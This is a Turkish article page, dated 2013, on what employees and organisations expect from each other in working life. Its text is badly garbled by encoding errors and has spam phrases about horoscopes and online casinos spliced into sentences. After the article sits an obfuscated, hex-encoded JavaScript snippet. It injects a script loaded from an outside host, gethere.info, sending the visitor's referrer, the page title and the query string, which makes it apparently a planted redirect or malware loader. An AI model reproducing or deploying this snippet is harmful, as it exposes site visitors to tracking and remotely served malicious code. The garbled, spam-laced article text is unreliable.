- Hoşgeldiniz

KAYITLI ÜYE GİRİŞİ

YENİ ÜYELİK

ÖNE ÇIKAN HABERLER

A�alA�AYma YaAYamA�nda Bireysel ve A�rgA?tsel AA�A�dan Beklenti

A�alA�AYma YaAYamA�nda Bireysel ve A�rgA?tsel AA�A�dan Beklenti sitemize 19 Temmuz 2013 tarihinde eklenmiş ve 280 kişi tarafından ziyaret edilmiş.

HiA� kuAYkusuz insanlar para kazanmak, kendini geliAYtirmek, sosyal bir statA? kazanmak, sosyal bir A�evre edinmek iA�in mesleklerine uygun, bilgi ve becerilerine uygun bir iAYte A�alA�AYmaktadA�rlar veya A�alA�AYmak istemektedirler.
Bir kimsenin, bir iAYte A�alA�AYmaya verdiAYi A�nem baAYka bir kimseye gA�re farklA�lA�k gA�sterebilmektedir. Bir kiAYi kendini geA�indirebilecek, giderlerini karAYA�layabilecek kA�saca hayatA�nA� idame ettirebilecek bir A?cret kazanmak iA�in A�alA�AYA�yor olsa bile bu A�nem baAYka bir kiAYi iA�in sosyal bir A�evre edinme veya sosyal bir statA? kazanma biA�iminde olabilmektedir.

Konuyu A�rgA?tsel aA�A�dan deAYerlendirdiAYimizde ise, A�rgA?tlerinde bireylerden -A�alA�AYanlardan- beklentileri vardA�r. Ancak, bu beklentiler A�rgA?tler aA�A�sA�ndan ele alA�ndA�AYA�nda pek fazla deAYiAYiklik gA�stermemektedir. Genel hatlarA�yla A�rgA?tA?n beklentileri; dA?rA?st bir tam iAY gA?nA?, A�rgA?tsel sadakat, inisiyatif, giriAYkenlik, A�rgA?tsel normlara uygunluk, iAY etkinliAYi, A�AYrenme ve geliAYme iA�in esneklik ve gA�nA?llA?lA?k biA�imindedir.

Bireyin iAY bulma sA?recinin akabinde psikolojik sA�zleAYme sA�z konusu olmaktadA�r. Bireyin iAYine iliAYkin ilk olumlu yada olumsuz dA?AYA?nceleri, A�rgA?te girdikten kA�sa Compatibility horoscopes Scorpio forecasts frequent storms throughout the relation. bir sA?re sonra oluAYmaya baAYlayacaktA�r. Bu sebepten bireyin bir iAYyerine baAYladA�AYA�nda mutlaka iyi bir A�rgA?tsel sosyalleAYme sA?reci yaAYamasA� gerekmektedir. Bu sA?reA�, bireyin A�rgA?t hakkA�nda geniAY bir uyum sA?reci anlamA� taAYA�r, bireyin beklentileri ile A�rgA?tA?n beklentilerinin kesiAYme derecesi test edilmiAY olur. Psikolojik sA�zleAYme, birey ve A�rgA?tA?n uzun soluklu birlikteliklerine A�nemli bir baAYlangA�A� saAYlamaktadA�r.

GA?nA?mA?zde bir iAYte A�alA�AYan bireylerin beklentileri incelendiAYinde asA�l beklentileri, maaAY veya maaAY dA�AYA� diAYer A�demelerin zamanA�nda gerA�ekleAYmesi, A�rgA?tsel adaletin olmasA�, kariyer imkanlarA�nA�n olmasA�, mesai kavramA�nA�n olmamasA� veya ek A�demelerle desteklenmesi, casino online hafta sonu tatili, sosyal yaAYama zaman ayA�rabilme AYeklindedir. DolayA�sA�yla, her ne kadar insanlar maaAYa A�nem vermediklerini belirtseler bile bir birey iA�in A�alA�AYma yaAYamA�ndan ilk beklenti kendini idame ettirebilecek bir kazanA� saAYlayabilmektedir.

A�rgA?tsel aA�A�dan ise, en A�nemli beklenti iAY etkinliAYi ve A�alA�AYanlarA�n A�rgA?te karAYA� sadakati ve uzun soluklu A�alA�AYma birlikteliAYi AYeklindedir. A�A?nkA?, bir bireyin A�rgA?te iAYe alA�nmasA� ciddi bir maliyet unsurudur. Buna ek olarak iAYe alA�nan kiAYinin A�rgA?te alA�AYma -oryantasyon- sA?reci de hesap edildiAYinde maliyet artmaktadA�r.

A�rgA?te yeni katA�lan bireylerin ve A�rgA?tlerin beklentilerini aA�A�k ve net olarak ifade etmesi olumlu sonuA�lar getirecektir. Beklentilerin gerA�ekleAYtirilmemesi ya da gerA�ekleAYtirilememesi taraflar arasA�nda karAYA�lA�klA� gerileme yol aA�abilecektir. Bu gerilimler sonucunda birey A�rgA?te karAYA� kA�rA�lganlA�k yaAYayacak ve bunu iAYine yansA�tacaktA�r. Bu kA�rA�lganlA�k A�rgA?tA?n bireyden verim alamamasA� anlamA�na da gelecektir. KA�saca, birey ve A�rgA?t aA�A�sA�ndan A�alA�AYmaya verilen A�nem ve karAYA�lA�klA� beklentiler A�ok iyi analiz edilmelidir. KiAYiler arasA� beklentiler, motive edilme farklA�lA�k gA�sterebilmektedir. Buna karAYA�lA�k A�rgA?tlerin de faaliyette olduklarA� sektA�rler ele alA�ndA�AYA�nda, sektA�rden sektA�re, vasA�flA�/vasA�fsA�z A�alA�AYtA�rA�lan iAY gA?cA?ne gA�re beklentiler deAYiAYiklik gA�sterebilmektedir. Bu yA?zden, bir A�rgA?tte iAYe baAYlamadan A�nce hem bireylerin hem de A�rgA?tlerin birbirlerinden beklentileri aA�A�kA�a dile getirilmeli ve buna gA�re iAY birlikteliAYi saAYlanmalA�dA�r. Beklentiler aA�A�kA�a dile getirildiAYinde, daha iyi olumlu sonuA�lar alA�nacaktA�r.

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Sitemizdeki Benzer İçerikler

Yorumlar

İsminiz
E-Posta Adresiniz
Yorumunuz